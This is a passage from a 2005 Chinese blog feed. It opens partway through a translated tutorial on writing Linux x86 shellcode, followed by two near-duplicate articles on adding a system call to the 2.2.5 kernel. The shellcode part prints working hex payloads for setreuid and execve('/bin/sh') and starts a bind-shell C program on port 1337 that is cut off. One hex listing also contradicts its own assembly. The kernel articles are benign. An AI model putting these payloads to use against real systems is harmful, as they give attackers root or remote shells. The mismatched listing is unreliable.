<BR><BR>"\xb8\x46\x00\x00\x00" <BR>"\xbb\x00\x00\x00\x00" <BR>"\xb9\x00\x00\x00\x00" <BR>"\xcd\x80" <BR><BR><BR><BR>如果你把上面这个shellcode整个看了一遍，你可能会注意到其中的NULL字节(\x00)比指令还多。但不幸的是我们不能在 shellcode中使用任何NULL。因为通常我们要溢出的是c程序，但是在c语言中没有字符串数据类型。而是使用一个字节长的指针（char *)指向内存中的一个字节，一个NULL出现在字符串的结尾。像strcpy,strcat这样的操作字符串的函数但遇到第一个NULL时会停止拷贝，以 为它们认为NULL就是字符串的结尾。 <BR><BR>因此但我们溢出一个程序时，只有"\xb8\x46\"会被从我们的setreuid shellcode 中拷贝出来。 <BR><BR>现在我们所要做的就是重写我们的汇编代码使我们的shellcode中没有NULL字节。就像你看到的这是包含NULL的函数： <BR><BR>80483b0: b8 46 00 00 00 movl $0x46,%eax <BR>80483b5: bb 00 00 00 00 movl $0x0,%ebx <BR>80483ba: b9 00 00 00 00 movl $0x0,%ecx <BR><BR>我们必须找到等同的不产生NULL字节的指令： <BR><BR>80483b0: b8 46 00 00 00 movl $0x46,%eax <BR><BR>这个指令被编码成[opcode|destination][4 byte immediate value]。因为我们的立即数只是0x46而操作类型long中的其它字节就没有被使用到。 <BR><BR>我们可以写成： <BR><BR>80483c6: 31 c0 xorl %eax,%eax <BR>80483c8: b0 46 movb $0x46,%al <BR><BR>xorl使%eax清零，因为当我们改变低8位的时候我们不能确定%eax是否为空。如果我们没有把寄存器清零当%ah中有其它数值的话内核可能会 执行错误的系统调用。movb指令被编码成[opcode|register][1 byte immediate value]格式，所以我们可以在一字节里使用到最大数255。 <BR><BR><BR><BR>以下是逻辑上相等的但没有NULL的setreuid代码： <BR><BR>80483b0: 31 c0 xorl %eax,%eax <BR>80483b2: 31 db xorl %ebx,%ebx <BR>80483b4: 31 c9 xorl %ecx,%ecx <BR>80483b6: b0 46 movb $0x46,%al <BR>80483b8: cd 80 int $0x80 <BR><BR>这是我们可以工作的shellcode: <BR><BR>"\x31\xc0" <BR>"\x31\xdb" <BR>"\x31\xdb" <BR>"\xb0\x46" <BR>"\xcd\x80" <BR><BR>除了没有NULL之外，一个好的shellcode应该尽可能小。shellcode越小可以放入缓存中的NOPs就越多，因此增加了猜中正确返回地址的机会。 <BR><BR>3.2 Making your shellcode portable: <BR><BR>你可能不会知道远程系统太多的信息。或者你没有足够的权限来找出远程系统上的信息。或者你甚至还没有访问远程系统的权限。这样一些原因不要让你写出 shellcode只能适用于一种系统。因此在写shellcode时不要使用绝对地址，你需要的数据刚好在正确的地址的机会很小。通常写 shellcode时要使用相对地址。 <BR><BR>e.g:我们不会写成：jmp 0x80483b8而我们写成：jmp $0x1a <BR><BR>3.3 获得shell的shellcode: <BR><BR>用c获得一个shell是这样的： <BR><BR>#include &lt;stdio.h&gt; <BR><BR>main(void) { <BR>char *name[2]; <BR><BR>name[0]="/bin/sh"; <BR>name[1]=NULL; <BR><BR>execve(name[0],name,NULL); <BR>} <BR><BR>就像你所看到的，我们需要一个字符串( "/bin/sh" )让execve知道我们想要运行什么。但是我们必须找到引用"/bin/sh"的相对地址。 <BR><BR><BR><BR>如果你了解一些关于Intel构架和通用CPU构架的知识，你就可能会知道要被执行的下一条指令的内存地址被存放在%eip中通常被叫做pc或者program counter。如果程序调用了一个子函数，子函数返回后将要执行的指令的地址一定会被存储到某个地方。 <BR><BR>相关于一些Risc CPU这个地址可以像这样被存储的寄存器种： <BR><BR>jal addy,reg /* 跳转到addy然后把pc+4存储到reg */ <BR>jr reg /* 我们的子函数返回跳转到存储在reg中的addy */ <BR><BR>对于我们的Intel Cisc: <BR><BR>call sub_func /* 跳到子函数然后把%eip+4压入堆栈 */ <BR>ret /* 函数跳回到堆栈上存储的地址 */ <BR><BR>我们可以说下一条指令的地址被call压入堆栈中。 <BR><BR>因此我们可以使用一个小窍门： <BR><BR>call some_offset /* 调用被压入堆栈的"/bin/sh" ( pc+4 )的地址 */ <BR>.string "/bin/sh" <BR><BR>注意到字符串"/bin/sh"位于.text ( 或者code )段。CPU不应该执行这段代码："/bin/sh"(2f62696e2f7368)因为它只是我们需要的字符串，所以我们应该让CPU跳过执行这段代码。 <BR><BR>让我们来看一个得到这个字符串"/bin/sh"的地址，并且能够避免执行这段代码"/bin/sh"(2f62696e2f7368)的完整的例子。 <BR><BR>.globl main <BR>main: <BR><BR>jmp to_call <BR>after_jmp: <BR><BR>popl %esi /* 地址现在已经在%esi里了 */ <BR><BR>/* 退出 */ <BR>xorl %eax,%eax <BR>incl %eax <BR>int $0x80 <BR><BR>to_call: <BR>call after_jmp （译者：原文为call offset） <BR>.string "/bin/sh" <BR><BR>我们跳到call让它工作，然后返回，从堆栈pop出地址然后退出。 <BR><BR>static char lnx_execve[]= <BR><BR>"\xeb\x1d" // jmp 0x1d /* 得到 "/bin/sh" 地址 */ <BR>"\x5b" // popl %ebx /* 出栈 "/bin/sh" 的地址 */ <BR>"\x31\xc0" // xorl %eax,%eax <BR>"\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 把地址拷贝到 %ebx+0x8 */ <BR>"\x88\x43\x07" // movb %al,0x7(%ebx) /* 用NULL做字符串的结束符 */ <BR>"\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 用NULL做参数的结束符 */ <BR>"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh的地址读到 %ecx */ <BR>"\x8d\x53\x0c" // leal 0xc(%ebx),%edx /* 把NULL读到 %edx */ <BR>"\xb0\x0b" // movb $0xb,%al /* 执行系统调用 */ <BR>"\xcd\x80" // int $0x80 <BR>"\x31\xc0" // xorl %eax,%eax /* 然后退出避免无限循环 */ <BR>"\x21\xd8" // andl %ebx,%eax <BR>"\x40" // incl %eax <BR>"\xcd\x80" // int $0x80 <BR>"\xe8\xde\xff\xff\xff" // call -0xde <BR>"/bin/sh"; <BR><BR>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <BR><BR>4.0 更高级的Shellcodes: <BR><BR>顾及到远程溢出我们需要其它种类的shellcode。我们不能只从远程获得一个shell。因此我们的shellcode需要网络能力。绑定一个shell到一个端口我们可以这样写： <BR><BR><BR><BR>#include &lt;stdio.h&gt; <BR>#include &lt;stdlib.h&gt; <BR>#include &lt;sys/types.h&gt; <BR>#include &lt;sys/socket.h&gt; <BR>#include &lt;netinet/in.h&gt; <BR><BR>main(void) { <BR>char *exec[2]; <BR>int fd,fd2; <BR>struct sockaddr_in addy; <BR><BR>addy.sin_addr.s_addr = INADDR_ANY; <BR>addy.sin_port = htons(1337); <BR>addy.sin_family = AF_INET; <BR><BR>exec[0]="/bin/sh"; <BR>exec[1]="sh"; <BR><BR>fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <BR><BR>bind(fd,&amp;addy,sizeof(struct sockaddr_in)); <BR>listen(fd,1); <BR><BR>fd2 = accept(fd,NULL,0); <BR><BR>dup2(fd2,0); <BR>dup2(fd2,1); <BR>dup2(fd2,2); <img src ="http://www.cnitblog.com/cyberfan/aggbug/2075.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 14:56 <a href="http://www.cnitblog.com/cyberfan/articles/2075.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux 内核解读 - 增加系统调用</title><link>http://www.cnitblog.com/cyberfan/articles/2067.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 03:22:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2067.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2067.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2067.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2067.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2067.html</trackback:ping><description><![CDATA[虽然Linux 的内核源码用树形结构组织得非常合理、科学，把功能相关联的文件都放在同<BR>一个子目录下，这样使得程序更具可读性。然而，Linux 的内核源码实在是太大而且非常复<BR>杂，即便采用了很合理的文件组织方法，在不同目录下的文件之间还是有很多的关联，分析<BR>核心的一部分代码通常要查看其他的几个相关的文件，而且可能这些文件还不在同一个子目<BR>录下。 <BR><BR>体系的庞大复杂和文件之间关联的错综复杂，可能就是很多人对其望而生畏的主要原因。当<BR>然，这种令人生畏的劳动所带来的回报也是非常令人着迷的：你不仅可以从中学到很多的计<BR>算机的底层的知识（如下面将讲到的系统的引导），体会到整个操作系统体系结构的精妙和<BR>在解决某个具体细节问题时算法的巧妙，而且更重要的是在源码的分析过程中，你就会被一 <BR>点一点地、潜移默化地专业化；甚至，只要分析1/10的代码后，你就会深刻地体会到，什<BR>么样的代码才是一个专业的程序员写的，什么样的代码是一个业余爱好者写的。 <BR><BR>为了使读者能更好的体会到这一特点，下面举了一个具体的内核分析实例，希望能通过这个<BR>实例，使读者对 Linux 的内核组织有些具体的认识，读者从中也可以学到一些对内核的分<BR>析方法。 <BR><BR>以下即为分析实例： <BR><BR>（1）操作平台 <BR><BR>硬件：cpu intel Pentium II ; <BR><BR>软件：Redhat Linux 6.0; 内核版本2.2.5 <BR><BR>（2）相关内核源代码分析 <BR><BR>① 系统的引导和初始化：Linux 系统的引导有好几种方式，常见的有 Lilo、Loadin引导<BR>和Linux的自举引导（bootsect-loader）,而后者所对应源程序为<BR>arch/i386/boot/bootsect.S，它为实模式的汇编程序，限于篇幅在此不做分析。无论是哪<BR>种引导方式，最后都要跳转到 arch/i386/Kernel/setup.S。 setup.S主要是进行时模式下<BR>的初始化，为系统进入保护模式做准备。此后，系统执行 arch/i386/kernel/head.S (对经<BR>压缩后存放的内核要先执行 arch/i386/boot/compressed/head.S)； head.S 中定义的一段<BR>汇编程序setup_idt ，它负责建立一张256项的 idt 表(Interrupt Descriptor Table),<BR>此表保存着所有自陷和中断的入口地址，其中包括系统调用总控程序 system_call 的入口<BR>地址。当然，除此之外，head.S还要做一些其他的初始化工作。 <BR><BR>② 系统初始化后运行的第一个内核程序asmlinkage void __init start_kernel(void) 定<BR>义在/usr/src/linux/init/main.c中,它通过调用<BR>usr/src/linux/arch/i386/kernel/traps.c 中的一个函数 void __init trap_init(void) <BR>把各自陷和中断服务程序的入口地址设置到 idt 表中,其中系统调用总控程序 system_cal<BR>就是中断服务程序之一;void __init trap_init(void)函数则通过调用一个宏 <BR>set_system_gate(SYSCALL_VECTOR,&amp;system_call)， 把系统调用总控程序的入口挂在中断<BR>0x80上。 <BR><BR>其中SYSCALL_VECTOR是定义在 /usr/src/linux/arch/i386/kernel/irq.h中的一个常量<BR>0x80， 而 system_call 即为中断总控程序的入口地址，中断总控程序用汇编语言定义在<BR>/usr/src/linux/arch/i386/kernel/entry.S中。 <BR><BR>③ 中断总控程序主要负责保存处理机执行系统调用前的状态,检验当前调用是否合法,并根<BR>据系统调用向量，使处理机跳转到保存在 sys_call_table 表中的相应系统服务例程的入 <BR>口， 从系统服务例程返回后恢复处理机状态退回用户程序。 <BR><BR>而系统调用向量则定义在/usr/src/linux/include/asm-386/unistd.h 中，sys_call_table <BR>表定义在 /usr/src/linux/arch/i386/kernel/entry.S 中， 同时在 <BR>/usr/src/linux/include/asm-386/unistd.h 中也定义了系统调用的用户编程接口。 <BR><BR>④ 由此可见 ,Linux 的系统调用也像 dos 系统的 int 21h 中断服务, 它把0x80 中断作<BR>为总的入口, 然后转到保存在 sys_call_table 表中的各种中断服务例程的入口地址 , 形<BR>成各种不同的中断服务。 <BR><BR>由以上源代码分析可知,要增加一个系统调用就必须在 sys_call_table 表中增加一项 ,并<BR>在其中保存好自己的系统服务例程的入口地址,然后重新编译内核，当然，系统服务例程是<BR>必不可少的。 <BR><BR>由此可知，在此版Linux内核源程序&lt;2.2.5&gt;中,与系统调用相关的源程序文件就包括以下这<BR>些: <BR><BR>* arch/i386/boot/bootsect.S <BR><BR>* rch/i386/Kernel/setup.S <BR><BR>* rch/i386/boot/compressed/head.S <BR><BR>* rch/i386/kernel/head.S <BR><BR>* nit/main.c <BR><BR>* rch/i386/kernel/traps.c <BR><BR>* rch/i386/kernel/entry.S <BR><BR>* rch/i386/kernel/irq.h <BR><BR>* nclude/asm-386/unistd.h <BR><BR>当然，这只是涉及到的几个主要文件。而事实上，增加系统调用真正要修改的文件只有<BR>include/asm-386/unistd.h 和arch/i386/kernel/entry.S两个。 <BR>（3）源码的修改 <BR><BR>① kernel/sys.c中增加系统服务例程如下： <BR><BR>asmlinkage int sys_addtotal(int numdata) <BR><BR>{ <BR><BR>int i=0,enddata=0; <BR><BR>while(i&lt;=numdata) <BR><BR>enddata+=i++; <BR><BR>return enddata; <BR><BR>} <BR><BR>该函数有一个 int 型入口参数 numdata , 并返回从 0 到 numdata 的累加值，然而也可以<BR>把系统服务例程放在一个自己定义的文件或其他文件中，只是要在相应文件中作必要的说 <BR>明。 <BR><BR>②把smlinkage int sys_addtotal( int) 的入口地址加到sys_call_table表中。 <BR><BR>arch/i386/kernel/entry.S 中的最后几行源代码修改前为: <BR><BR>... ... <BR><BR>.long SYMBOL_NAME(sys_sendfile) <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */ <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */ <BR><BR>.long SYMBOL_NAME(sys_vfork) /* 190 */ <BR><BR>.rept NR_syscalls-190 <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) <BR><BR>.endr <BR><BR>修改后为: ... ... <BR><BR>.long SYMBOL_NAME(sys_sendfile) <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */ <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */ <BR><BR>.long SYMBOL_NAME(sys_vfork) /* 190 */ <BR><BR>/* add by I */ <BR><BR>.long SYMBOL_NAME(sys_addtotal) <BR><BR>.rept NR_syscalls-191 <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) <BR><BR>.endr <BR><BR>③把增加的 sys_call_table 表项所对应的向量,在include/asm-386/unistd.h 中进行必<BR>要申明,以供用户进程和其他系统进程查询或调用。 <BR><BR>增加后的部分 /usr/src/linux/include/asm-386/unistd.h 文件如下: <BR><BR>... ... <BR><BR>#define __NR_sendfile 187 <BR><BR>#define __NR_getpmsg 188 <BR><BR>#define __NR_putpmsg 189 <BR><BR>#define __NR_vfork 190 <BR><BR>/* add by I */ <BR><BR>#define __NR_addtotal 191 <BR><BR>④ 测试程序(test.c)如下: <BR><BR>#include <BR><BR>#include <BR><BR>_syscall1(int,addtotal,int, num) <BR><BR>main() <BR><BR>{ <BR><BR>int i,j; <BR><BR>do <BR><BR>printf(\"Please input a numbern\"); <BR><BR>while(scanf(\"%d\",&amp;i)==EOF); <BR><BR>if((j=addtotal(i))==-1) <BR><BR>printf(\"Error occurred in syscall-addtotal();n\"); <BR><BR>printf(\"Total from 0 to %d is %d n\",i,j); <BR><BR>} <BR><BR>对修改后的新的内核进行编译，并引导它作为新的操作系统，运行几个程序后可以发现一切<BR>正常；在新的系统下对测试程序进行编译(注：由于原内核并未提供此系统调用，所以只有<BR>在编译后的新内核下，此测试程序才可能被编译通过)，运行情况如下： <BR><BR>$gcc 杘 test test.c <BR><BR>$./test <BR><BR>Please input a number <BR><BR>36 <BR><BR>Total from 0 to 36 is 666 <BR><BR>可见，修改成功，而且对相关源码的进一步分析可知，在此版本的内核中,从<BR>/usr/src/linux/arch/i386/kernel/entry.S 文件中对 sys_call_table 表的设置可以看<BR>出,有好几个系统调用的服务例程都是定义在 /usr/src/linux/kernel/sys.c 中的同一个<BR>函数： <BR><BR>asmlinkage int sys_ni_syscall(void) <BR><BR>{ <BR><BR>return -ENOSYS; <BR><BR>} <BR><BR>例如第188项和第189项就是如此: <BR><BR>... ... <BR><BR>.long SYMBOL_NAME(sys_sendfile) <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */ <BR><BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */ <BR><BR>.long SYMBOL_NAME(sys_vfork) /* 190 */ <BR><BR>... ... <BR><BR>而这两项在文件 /usr/src/linux/include/asm-386/unistd.h 中却申明如下: <BR><BR>... ... <BR><BR>#define __NR_sendfile 187 <BR><BR>#define __NR_getpmsg 188 /* some people actually want streams */ <BR><BR>#define __NR_putpmsg 189 /* some people actually want streams */ <BR><BR>#define __NR_vfork 190 <BR><BR>由此可见,在此版本的内核源代码中,由于asmlinkage int sys_ni_syscall(void) 函数并<BR>不进行任何操作,所以包括 getpmsg, putpmsg 在内的好几个系统调用都是不进行任何操作<BR>的，即有待扩充的空调用； 但它们却仍然占用着sys_call_table表项，估计这是设计者们<BR>为了方便扩充系统调用而安排的，所以只需增加相应服务例程（如增加服务例程getmsg或<BR>putpmsg），就可以达到增加系统调用的作用。 <BR><BR>3．结束语 <BR><BR>当然对于庞大复杂的 Linux而言，一篇文章远远不够，而且与系统调用相关的代码也只是<BR>内核中极其微小的一部分,重要的是方法,掌握好的分析方法，所以上述分析只是起个引导作<BR>用，而真正的分析还有待读者自己的努力。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2067.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 11:22 <a href="http://www.cnitblog.com/cyberfan/articles/2067.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux 内核解读入门---喻锋荣</title><link>http://www.cnitblog.com/cyberfan/articles/2064.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 02:54:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2064.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2064.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2064.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2064.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2064.html</trackback:ping><description><![CDATA[针对好多Linux 爱好者对内核很有兴趣却无从下口，本文旨在介绍一种解读linux内核源码的入门方法， <BR>而不是解说linux复杂的内核机制； <BR>一．核心源程序的文件组织： <BR>1．Linux核心源程序通常都安装在/usr/src/linux下，而且它有一个非常简单的编号约定：任何偶数的 <BR>核心（例如2.0.30）都是一个稳定地发行的核心，而任何奇数的核心（例如2.1.42）都是一个开发中的核心。 <BR>本文基于稳定的2.2.5源代码，第二部分的实现平台为 Redhat Linux 6.0。 <BR>2．核心源程序的文件按树形结构进行组织，在源程序树的最上层你会看到这样一些目录： <BR>●Arch ：arch子目录包括了所有和体系结构相关的核心代码。它的每一个子目录都代表一种支持的体系 <BR>结构，例如i386就是关于intel cpu及与之相兼容体系结构的子目录。PC机一般都基于此目录； <BR>●Include: include子目录包括编译核心所需要的大部分头文件。与平台无关的头文件在 include/linux <BR>子目录下，与 intel cpu相关的头文件在include/asm-i386子目录下,而include/scsi目录则是有关 <BR>scsi设备的头文件目录； <BR>●Init： 这个目录包含核心的初始化代码(注：不是系统的引导代码)，包含两个文件main.c和Version.c， <BR>这是研究核心如何工作的一个非常好的起点。 <BR>●Mm ：这个目录包括所有独立于 cpu 体系结构的内存管理代码，如页式存储管理内存的分配和释放等；而和 <BR>体系结构相关的内存管理代码则位于arch/*/mm/，例如arch/i386/mm/Fault.c <BR>●Kernel：主要的核心代码，此目录下的文件实现了大多数linux系统的内核函数，其中最重要的文件当属 <BR>sched.c；同样，和体系结构相关的代码在arch/*/kernel中； <BR>●Drivers： 放置系统所有的设备驱动程序;每种驱动程序又各占用一个子目录：如，/block 下为块设备 <BR>驱动程序，比如ide（ide.c）。如果你希望查看所有可能包含文件系统的设备是如何初始化的，你可以看 <BR>drivers/block/genhd.c中的device_setup()。它不仅初始化硬盘，也初始化网络，因为安装nfs文件 <BR>系统的时候需要网络 <BR>其他: 如, Lib放置核心的库代码; Net,核心与网络相关的代码; Ipc,这个目录包含核心的进程间通讯的代码; <BR>Fs ,所有的文件系统代码和各种类型的文件操作代码，它的每一个子目录支持一个文件系统，例如fat和ext2; <BR>Scripts, 此目录包含用于配置核心的脚本文件等。 <BR>一般，在每个目录下，都有一个 .depend 文件和一个 Makefile 文件，这两个文件都是编译时 <BR>使用的辅助文件，仔细阅读这两个文件对弄清各个文件这间的联系和依托关系很有帮助；而且，在有的目录下 <BR>还有Readme 文件，它是对该目录下的文件的一些说明，同样有利于我们对内核源码的理解； <BR><BR>二．解读实战：为你的内核增加一个系统调用 <BR>虽然，Linux 的内核源码用树形结构组织得非常合理、科学，把功能相关联的文件都放在同一个子目录下，这样使 <BR>得程序更具可读性。然而，Linux 的内核源码实在是太大而且非常复杂，即便采用了很合理的文件组织方法，在 <BR>不同目录下的文件之间还是有很多的关联，分析核心的一部分代码通常会要查看其它的几个相关的文件，而且可能 <BR>这些文件还不在同一个子目录下。 <BR>体系的庞大复杂和文件之间关联的错综复杂，可能就是很多人对其望而生畏的主要原因。当然，这种令人生畏的劳动 <BR>所带来的回报也是非常令人着迷的：你不仅可以从中学到很多的计算机的底层的知识（如下面将讲到的系统的引导）， <BR>体会到整个操作系统体系结构的精妙和在解决某个具体细节问题时，算法的巧妙；而且更重要的是：在源码的分析过 <BR>程中，你就会被一点一点地、潜移默化地专业化；甚至，只要分析十分之一的代码后，你就会深刻地体会到，什么样 <BR>的代码才是一个专业的程序员写的，什么样的代码是一个业余爱好者写的。 <BR>为了使读者能更好的体会到这一特点，下面举了一个具体的内核分析实例，希望能通过这个实例，使读者对 Linux <BR>的内核的组织有些具体的认识，从中读者也可以学到一些对内核的分析方法。 <BR><BR>以下即为分析实例： <BR><BR>【一】操作平台: <BR>硬件：cpu intel Pentium II ; <BR>软件：Redhat Linux 6.0; 内核版本2.2.5 <BR><BR>【二】相关内核源代码分析: <BR>1．系统的引导和初始化：Linux 系统的引导有好几种方式：常见的有 Lilo, Loadin引导和Linux的自举引导 <BR>（bootsect-loader）,而后者所对应源程序为arch/i386/boot/bootsect.S，它为实模式的汇编程序，限于 <BR>篇幅在此不做分析；无论是哪种引导方式，最后都要跳转到 arch/i386/Kernel/setup.S， setup.S主要是 <BR>进行时模式下的初始化，为系统进入保护模式做准备；此后，系统执行 arch/i386/kernel/head.S (对经压缩 <BR>后存放的内核要先执行 arch/i386/boot/compressed/head.S); head.S 中定义的一段汇编程序setup_idt ， <BR>它负责建立一张256项的 idt 表(Interrupt Descriptor Table),此表保存着所有自陷和中断的入口地址;其中 <BR>包括系统调用总控程序 system_call 的入口地址;当然，除此之外，head.S还要做一些其他的初始化工作； <BR>2．系统初始化后运行的第一个内核程序asmlinkage void __init start_kernel(void) 定义在 <BR>/usr/src/linux/init/main.c中,它通过调用usr/src/linux/arch/i386/kernel/traps.c 中的一个函数 <BR>void __init trap_init(void) 把各自陷和中断服务程序的入口地址设置到 idt 表中,其中系统调用总控程序 <BR>system_cal就是中断服务程序之一;void __init trap_init(void) 函数则通过调用一个宏 <BR>set_system_gate(SYSCALL_VECTOR,&amp;system_call); 把系统调用总控程序的入口挂在中断0x80上; <BR>其中SYSCALL_VECTOR是定义在 /usr/src/linux/arch/i386/kernel/irq.h中的一个常量0x80; 而 system_call <BR>即为中断总控程序的入口地址;中断总控程序用汇编语言定义在/usr/src/linux/arch/i386/kernel/entry.S中; <BR>3.中断总控程序主要负责保存处理机执行系统调用前的状态,检验当前调用是否合法, 并根据系统调用向量，使处理机 <BR>跳转到保存在 sys_call_table 表中的相应系统服务例程的入口; 从系统服务例程返回后恢复处理机状态退回用户程序; <BR>而系统调用向量则定义在/usr/src/linux/include/asm-386/unistd.h 中;sys_call_table 表定义在 <BR>/usr/src/linux/arch/i386/kernel/entry.S 中; 同时在 /usr/src/linux/include/asm-386/unistd.h <BR>中也定义了系统调用的用户编程接口; <BR>4.由此可见 , linux 的系统调用也象 dos 系统的 int 21h 中断服务, 它把0x80 中断作为总的入口, 然后 <BR>转到保存在 sys_call_table 表中的各种中断服务例程的入口地址 , 形成各种不同的中断服务; <BR>由以上源代码分析可知, 要增加一个系统调用就必须在 sys_call_table 表中增加一项 , 并在其中保存好自己 <BR>的系统服务例程的入口地址,然后重新编译内核，当然，系统服务例程是必不可少的。 <BR>由此可知在此版linux内核源程序&lt;2。2。5&gt;中,与系统调用相关的源程序文件就包括以下这些: <BR>1．arch/i386/boot/bootsect.S <BR>2．arch/i386/Kernel/setup.S <BR>3．arch/i386/boot/compressed/head.S <BR>4．arch/i386/kernel/head.S <BR>5．init/main.c <BR>6．arch/i386/kernel/traps.c <BR>7．arch/i386/kernel/entry.S <BR>8．arch/i386/kernel/irq.h <BR>9．include/asm-386/unistd.h <BR><BR>当然，这只是涉及到的几个主要文件。而事实上，增加系统调用真正要修改文件只有include/asm-386/unistd.h <BR>和arch/i386/kernel/entry.S两个; <BR><BR>【三】 对内核源码的修改： <BR>1.在kernel/sys.c中增加系统服务例程如下： <BR>asmlinkage int sys_addtotal(int numdata) <BR>{ <BR>int i=0,enddata=0; <BR>while(i&lt;=numdata) <BR>enddata+=i++; <BR>return enddata; <BR>} <BR>该函数有一个 int 型入口参数 numdata , 并返回从 0 到 numdata 的累加值; 当然也可以把系统服务例程放 <BR>在一个自己定义的文件或其他文件中，只是要在相应文件中作必要的说明； <BR>2.把 asmlinkage int sys_addtotal( int) 的入口地址加到sys_call_table表中: <BR>arch/i386/kernel/entry.S 中的最后几行源代码修改前为: <BR>... ... <BR>.long SYMBOL_NAME(sys_sendfile) <BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */ <BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */ <BR>.long SYMBOL_NAME(sys_vfork) /* 190 */ <BR>.rept NR_syscalls-190 <BR>.long SYMBOL_NAME(sys_ni_syscall) <BR>.endr <BR>修改后为: ... ... <BR>.long SYMBOL_NAME(sys_sendfile) <BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */ <BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */ <BR>.long SYMBOL_NAME(sys_vfork) /* 190 */ <BR>/* add by I */ <BR>.long SYMBOL_NAME(sys_addtotal) <BR>.rept NR_syscalls-191 <BR>.long SYMBOL_NAME(sys_ni_syscall) <BR>.endr <BR>3. 把增加的 sys_call_table 表项所对应的向量,在include/asm-386/unistd.h 中进行必要申明,以供 <BR>用户进程和其他系统进程查询或调用: <BR>增加后的部分 /usr/src/linux/include/asm-386/unistd.h 文件如下: <BR>... ... <BR>#define __NR_sendfile 187 <BR>#define __NR_getpmsg 188 <BR>#define __NR_putpmsg 189 <BR>#define __NR_vfork 190 <BR>/* add by I */ <BR>#define __NR_addtotal 191 <BR>4.测试程序(test.c)如下: <BR>#include <BR>#include <BR><BR>_syscall1(int,addtotal,int, num) <BR><BR>main() <BR>{ <BR>int i,j; <BR><BR>do <BR>printf("Please input a number\n"); <BR>while(scanf("%d",&amp;i)==EOF); <BR>if((j=addtotal(i))==-1) <BR>printf("Error occurred in syscall-addtotal();\n"); <BR>printf("Total from 0 to %d is %d \n",i,j); <BR>} <BR>对修改后的新的内核进行编译，并引导它作为新的操作系统，运行几个程序后可以发现一切正常；在新的系统下 <BR>对测试程序进行编译(*注：由于原内核并未提供此系统调用，所以只有在编译后的新内核下，此测试程序才能 <BR>可能被编译通过)，运行情况如下： <BR>$gcc -o test test.c <BR>$./test <BR>Please input a number <BR>36 <BR>Total from 0 to 36 is 666 <BR>可见，修改成功； <BR>而且，对相关源码的进一步分析可知，在此版本的内核中,从/usr/src/linux/arch/i386/kernel/entry.S <BR>文件中对 sys_call_table 表的设置可以看出,有好几个系统调用的服务例程都是定义在 <BR>/usr/src/linux/kernel/sys.c 中的同一个函数： <BR>asmlinkage int sys_ni_syscall(void) <BR>{ <BR>return -ENOSYS; <BR>} <BR>例如第188项和第189项就是如此: <BR>... ... <BR>.long SYMBOL_NAME(sys_sendfile) <BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams1 */ <BR>.long SYMBOL_NAME(sys_ni_syscall) /* streams2 */ <BR>.long SYMBOL_NAME(sys_vfork) /* 190 */ <BR>... ... <BR>而这两项在文件 /usr/src/linux/include/asm-386/unistd.h 中却申明如下: <BR>... ... <BR>#define __NR_sendfile 187 <BR>#define __NR_getpmsg 188 /* some people actually want streams */ <BR>#define __NR_putpmsg 189 /* some people actually want streams */ <BR>#define __NR_vfork 190 <BR>由此可见,在此版本的内核源代码中,由于asmlinkage int sys_ni_syscall(void) 函数并不进行任何操作, <BR>所以包括 getpmsg, putpmsg 在内的好几个系统调用都是不进行任何操作的，即有待扩充的空调用； 但它们 <BR>却仍然占用着sys_call_table表项，估计这是设计者们为了方便扩充系统调用而安排的; 所以只需增加相应 <BR>服务例程（如增加服务例程getmsg或putpmsg），就可以达到增加系统调用的作用。 <BR>结语：当然对于庞大复杂的 linux 内核而言，一篇文章远远不够，而且与系统调用相关的代码也只是内核中极其 <BR>微小的一部分；但重要的是方法、掌握好的分析方法；所以上的分析只是起个引导的作用，而正真的分析还有待于 <BR>读者自己的努力。 <BR><A title=http://www.linuxforum.net/docnew/showthreaded.php?Cat=&amp;Board=kernel&amp;Number=202&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart= 